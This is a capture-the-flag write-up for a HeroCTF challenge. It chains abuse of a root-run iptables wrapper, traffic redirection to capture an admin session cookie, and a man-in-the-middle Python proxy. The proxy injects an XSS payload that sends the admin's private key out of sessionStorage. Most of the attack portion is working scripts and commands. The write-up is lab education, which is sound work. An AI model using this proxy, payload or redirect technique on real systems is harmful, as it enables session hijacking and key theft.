This challenge was a joint solve between Trachinus and I.
It was mainly a system challenge, but also contained an important web application.

We were given the credentials aragorn:hobbit, which we could use for both the web application and the SSH connection to the machine.
We were also told that the admin user Saruman would login often using his administrator account.
The webapp allows us to receive encrypted messages, which we can then decrypt using our private key.
Contained in the login page is a small code block that generates our public/private key pair.
const crypt = new JSEncrypt({ default_key_size: 2048 });
const privateKey = crypt.getPrivateKey();
const publicKey = crypt.getPublicKey();
sessionStorage.setItem('sessionPrivateKey', privateKey);
document.getElementById('publicKey').value = publicKey;
When we log in, our private key is stored in the sessionStorage, whilst the public key is sent as a POST parameter:
POST /login HTTP/1.1
Host: dyn01.heroctf.fr:11267
...
username=aragorn&password=hobbit&publicKey=-----BEGIN+PUBLIC+KEY-----...-----END+PUBLIC+KEY-----
The public key is then reflected in the inbox page, whilst also being stored in the user session:

We can then request a new message, and decrypt it client side using the JSEncrypt library:
POST /request_encrypted HTTP/1.1
Host: dyn01.heroctf.fr:11267
...
Cookie: session=.eJwlzjsOwjAMANC7eGaIk9iOe5kq8UdlbemEuDtIvBO8N-x5xnXA9jrveMD-dNiARnHNSA-S4JAo5mv01TVRybAHLmY31aI8tMRia9w4QklUasOUOkSniZDXMCNP557i1XRWx9k0W3YtzF3JjSQbzrQ5-0KBX-S-4vxvKny-CJMwFA.aS8hYg.OL3mn865Tf1HEt9LsvFBessLau0
{"flag":false}
Take into account here that the flag can only be requested when we have an admin account, which is currently not the case.
After doing some quick recon on the server, we stumble across an iptables wrapper file that can be executed as root.
aragorn@middle_earth:~$ cat /opt/w_iptables.sh
#!/bin/bash
# Validate and sanitize user input
APPEND_OR_DELETE=$1
CHAIN=$2
PROTOCOL=$3
PORT_SRC=$4
PORT_DST=$5
ACTION=$6
# Define allowed chains, protocols, and actions
ALLOWED_APPEND_OR_DELETE=("A" "D")
ALLOWED_CHAINS=("INPUT" "OUTPUT" "FORWARD" "PREROUTING" "POSTROUTING")
ALLOWED_PROTOCOLS=("tcp" "udp")
ALLOWED_ACTIONS=("ACCEPT" "DROP" "REJECT" "MASQUERADE" "REDIRECT")
# blacklist logic here
# Build and execute the iptables command based on action
if [[ "$ACTION" == "REDIRECT" ]]; then
/usr/sbin/iptables -t nat -$APPEND_OR_DELETE "$CHAIN" -p "$PROTOCOL" --dport "$PORT_SRC" -j "$ACTION" --to-ports "$PORT_DST"
echo "Redirect rule added successfully: /usr/sbin/iptables -t nat -$APPEND_OR_DELETE $CHAIN -p $PROTOCOL --dport $PORT_SRC -j $ACTION --to-ports $PORT_DST"
elif [[ "$ACTION" == "MASQUERADE" ]]; then
/usr/sbin/iptables -t nat -$APPEND_OR_DELETE "$CHAIN" -j "$ACTION"
echo "Masquerade rule added successfully: /usr/sbin/iptables -t nat -$APPEND_OR_DELETE $CHAIN -j $ACTION"
else
/usr/sbin/iptables -$APPEND_OR_DELETE "$CHAIN" -p "$PROTOCOL" --dport "$PORT_SRC" -j "$ACTION"
echo "Rule added successfully: /usr/sbin/iptables -$APPEND_OR_DELETE $CHAIN -p $PROTOCOL --dport $PORT_SRC -j $ACTION"
This script basically allows us to add and remove iptables rules, including NAT REDIRECT (which will be very useful), as long as the chosen ports are within the allowed range (1-2000).
Thus, the fact that we can modify iptables rules, as well as the fact that the admin user regularly uses the webapp, will allow us to act as a proxy and intercept the traffic between the admin and the backend.
We need two things to be able to obtain the flag, a valid admin session cookie, as well as the admin’s private key.
Lets start with the cookie; its as simple as intercepting a POST request from the admin to the backend.

First, we need to add 2 iptables rules that will redirect traffic from the original web application port (80), to a port we control:
sudo /opt/w_iptables.sh A PREROUTING tcp 80 1337 REDIRECT
sudo /opt/w_iptables.sh A OUTPUT tcp 80 1337 REDIRECT
Then, we simply need to start a netcat on port 1337, and wait:
nc -lnvkp 1337
POST /request_encrypted HTTP/1.1
Host: middle_earth
...
Cookie: session=.eJwlzjEOwzAIAMC_MHewwcaQz0TYgNo1aaaqf2-krjfdB_Y84nzC9j6ueMD-ctggw6uqZ51ZmupAi2xt2G3cjCx4mFArQmlIrFkUZ0dE4SG8mk4Ka70HEvbBtmyuWWWVxVY7CUmuNO7hUkJ4pmcZy72nqHIK3JHrjOO_qfD9AdIhL9A.aSs6aQ.0zSP4OkJW9rMGUkhvBSCUfHLkoo
{"flag":true}
Now we need to revert the iptables rules that we just changed to make sure that the webapp works as it should:
sudo /opt/w_iptables.sh D PREROUTING tcp 80 1337 REDIRECT
sudo /opt/w_iptables.sh D OUTPUT tcp 80 1337 REDIRECT
Next up is the admin’s private key, which is slightly more complicated. One thing we noticed whilst auditing the webapp, was that a self XSS was possible via this function:
function displayMsg(content, encrypted) {
const inbox = document.getElementById('inbox');
if (inbox.querySelector('p.text-gray-500')) {
inbox.innerHTML = ''; // Clear the "empty" message
}
msgCounter++;
const msgId = `msg-content-${msgCounter}`;
const msgDiv = document.createElement('div');
msgDiv.className = 'bg-gray-700 p-4 rounded-lg';
// Conditionally generate the button and other text based on the 'encrypted' flag
msgDiv.innerHTML = `
<div class="flex justify-between items-start">
<div>
<h3 class="font-bold">New Encrypted Message</h3>
<p class="text-sm text-gray-400">From: [email protected]</p>
</div>
<button
class="decrypt-btn bg-green-600 hover:bg-green-700 text-white text-xs font-bold py-1 px-3 rounded" data-target="${msgId}">Decrypt
</button>
</div>
<pre id="${msgId}" class="bg-gray-900 p-2 mt-2 rounded overflow-x-auto text-sm text-green-400">${content}</pre>
`;
inbox.prepend(msgDiv);
}
This function takes the encrypted message content and directly inserts it into the page’s HTML. This means that if we send a crafted response using our previous MitM, we can trigger the XSS on the admin’s page, and exfiltrate its sessionStorage.
We created a simple script that would intercept the admin’s request, craft a malicious response, and exfiltrate the sessionStorage.
We need to set our iptables rule first, before executing the python script:
sudo /opt/w_iptables.sh A PREROUTING tcp 80 1337 REDIRECT
import socket
import threading
import re
import urllib.parse
import json
LISTEN_PORT = 1337
TARGET_IP = "127.0.0.1"
TARGET_PORT = 80
def handle_client(client_socket):
try:
request = client_socket.recv(8192)
# --- PHASE 2: RECEIVE THE KEY ---
if b'GET /pwn?key=' in request:
print("\n[+] Key exfiltration.")
match = re.search(b'key=([^& ]+)', request)
if match:
encoded_key = match.group(1)
private_key = urllib.parse.unquote(encoded_key.decode())
print(private_key)
client_socket.sendall(b"HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\n\r\n")
return
# --- PHASE 1: PROXY REQUEST ---
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.connect((TARGET_IP, TARGET_PORT))
server_socket.sendall(request)
full_response = b""
while True:
chunk = server_socket.recv(4096)
if not chunk:
break
full_response += chunk
server_socket.close()
# --- INJECTION ---
if b'encrypted_content' in full_response:
# 1. Log the real ciphertext (Bot's Flag)
match = re.search(b'"encrypted_content":"([^"]+)"', full_response)
if match:
real_cipher = match.group(1).decode()
print(f"Ciphertext captured (len={len(real_cipher)})")
print(f"Save this: {real_cipher[:50]}...")
# 2. Create the Malicious Payload
xss_payload = (
"<img src=x onerror='fetch(\"/pwn?key=\"+encodeURIComponent(sessionStorage.getItem(\"sessionPrivateKey\")))' >"
)
new_json_body = json.dumps({"encrypted_content": xss_payload})
# 3. Rebuild the HTTP Response
if b'\r\n\r\n' in full_response:
headers, _ = full_response.split(b'\r\n\r\n', 1)
new_len = str(len(new_json_body)).encode()
headers = re.sub(b'Content-Length: \d+', b'Content-Length: ' + new_len, headers)
full_response = headers + b'\r\n\r\n' + new_json_body.encode()
client_socket.sendall(full_response)
except Exception as e:
print(f"Error: {e}")
finally:
client_socket.close()
def start_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', LISTEN_PORT))
server.listen(5)
while True:
client, _ = server.accept()
threading.Thread(target=handle_client, args=(client,)).start()
if __name__ == "__main__":
start_server()
And there we go, the admin’s private key:
—–BEGIN RSA PRIVATE KEY—–shortenend here for readability—–END RSA PRIVATE KEY—–

We simply need to replace our current private key with the one we just exfiltrated, replace our session cookie with the admin’s, request our FLAG, and finally decrypt it!
Hero{why_n0_http5_?_dbf81c4c9f3cb1b0ae72ad23c019fdce}
Thanks to Log_s for this super cool “system” challenge.